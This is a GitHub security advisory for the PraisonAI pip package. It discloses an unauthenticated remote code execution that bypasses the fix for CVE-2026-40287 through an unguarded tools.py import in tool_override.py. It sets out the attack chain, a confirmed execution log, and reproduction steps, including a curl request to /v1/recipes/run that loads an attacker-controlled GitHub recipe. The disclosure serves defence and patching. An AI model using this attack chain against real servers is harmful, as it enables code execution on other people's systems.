Skip to content

PraisonAI has unauthenticated RCE via `tool_override.py` (CVE-2026-40287 patch bypass)

High severity GitHub Reviewed Published Apr 29, 2026 in MervinPraison/PraisonAI • Updated May 12, 2026

Package

pip praisonai (pip)

Affected versions

>= 4.5.139, <= 4.6.31

Patched versions

4.6.32

Description

TL;DR

CVE-2026-40287's fix gated tools.py auto-import behind PRAISONAI_ALLOW_LOCAL_TOOLS=true in two files (tool_resolver.py, api/call.py). A third import sink in praisonai/templates/tool_override.py was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is remotely triggerable through POST /v1/recipes/run with a recipe value pointing at any local absolute path or any GitHub repo (because SecurityConfig.allow_any_github defaults to True). The attacker drops a tools.py next to TEMPLATE.yaml; the server exec_module()s it. No auth required by default, no environment opt-in required.

Patch coverage gap

CVE-2026-40287 was fixed in v4.5.139 by adding an env-var gate at:

File Line Gate
praisonai/tool_resolver.py 77 if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
praisonai/api/call.py 80 same

But the equivalent sinks in praisonai/templates/tool_override.py were not patched:

# tool_override.py - create_tool_registry_with_overrides()
332    cwd_tools_py = Path.cwd() / "tools.py"
333    if cwd_tools_py.exists():
334        try:
335            tools = loader.load_from_file(str(cwd_tools_py))   # <-- exec_module
336            registry.update(tools)
337        except Exception:
338            pass
339
341    # 4. Template-local tools.py
342    if template_dir:
343        tools_py = Path(template_dir) / "tools.py"
344        if tools_py.exists():
345            try:
346                tools = loader.load_from_file(str(tools_py))   # <-- exec_module
347                registry.update(tools)
348            except Exception:
349                pass

load_from_file (line 84-94) ends in spec.loader.exec_module(module) with no allowlist, no signature check, no env gate. Both call sites run unconditionally on every recipe execution.

Attack chain

HTTP POST /v1/recipes/run
  body: {"recipe": "<abs path>" | "github:<owner>/<repo>/<recipe>"}
        │
        ▼
recipe/serve.py:483   run_recipe(request)              ← auth=none default
        │
        ▼
recipe/core.py:215    recipe.run(name, ...)
        │
        ▼
recipe/core.py:686    _load_recipe(name)
                      └─ ".." check only; absolute paths and URIs allowed
        │
        ▼
templates/loader.py:94    TemplateLoader.load(uri)
        │
        ▼
templates/security.py:130 is_source_allowed("github:*")
                          └─ allow_any_github=True default → returns True
        │
        ▼
templates/registry.py     fetch repo from raw.githubusercontent.com → cache dir
        │
        ▼
templates/security.py:215 validate_template_directory(cached.path)
                          └─ .py is in allowed_extensions → tools.py kept
        │
        ▼
recipe/core.py:887        _execute_recipe(recipe_config, ...)
        │
        ▼
recipe/core.py:943        create_tool_registry_with_overrides(
                              include_defaults=True,
                              template_dir=recipe_config.path)
        │
        ▼
templates/tool_override.py:341-349   load_from_file(template_dir/tools.py)
        │
        ▼
templates/tool_override.py:94        spec.loader.exec_module(module)   ← RCE

The tool registry build runs before any LLM/agent step, so OPENAI_API_KEY and similar are not required. A recipe with an empty workflow.steps: [] is sufficient - the payload fires during registry construction.

Confirmed execution (2026-04-25, praisonai 4.6.31)

SERVER stdout (PID 43784):
  Uvicorn running on http://127.0.0.1:8765
  127.0.0.1 - POST /v1/recipes/run HTTP/1.1
  [CVE-2026-40287-bypass] RCE fired. Marker written to: …/praisonai_pwn_1777094071.txt
  127.0.0.1 - "POST /v1/recipes/run" 500 Internal Server Error

Marker file:
  pid: 43784            ← matches server PID
  argv: ['server.py']   ← server process, not exploit

The 500 response is a downstream side-effect of workflow.steps: [] failing to construct a runnable workflow; the exec_module(tools.py) call runs before that error. The attacker payload has already executed in the server process by the time the 500 is sent.

Reproduction (local-path variant)

Files under pocs/praisonai-cve-2026-40287-bypass/:

pip install 'praisonai[serve]==4.6.31'

# Terminal 1
python server.py

# Terminal 2
python exploit.py

Expected: server stdout shows [CVE-2026-40287-bypass] RCE fired.; a praisonai_pwn_<timestamp>.txt file appears in the system temp directory containing user, host, pid, cwd captured from inside the server process.

Reproduction (remote GitHub variant)

# Push evil_recipe/ to https://github.com/<you>/poc-recipe (public repo)

curl -X POST http://target:8765/v1/recipes/run \
     -H 'Content-Type: application/json' \
     -d '{"recipe":"github:<you>/poc-recipe/poc-recipe"}'

No filesystem prerequisite on the target. Triggers because SecurityConfig.allow_any_github (templates/security.py:30) defaults to True.

References

@MervinPraison MervinPraison published to MervinPraison/PraisonAI Apr 29, 2026
Published to the GitHub Advisory Database May 6, 2026
Reviewed May 6, 2026
Published by the National Vulnerability Database May 8, 2026
Last updated May 12, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(1st percentile)

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

CVE ID

CVE-2026-44334

GHSA ID

GHSA-xcmw-grxf-wjhj

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.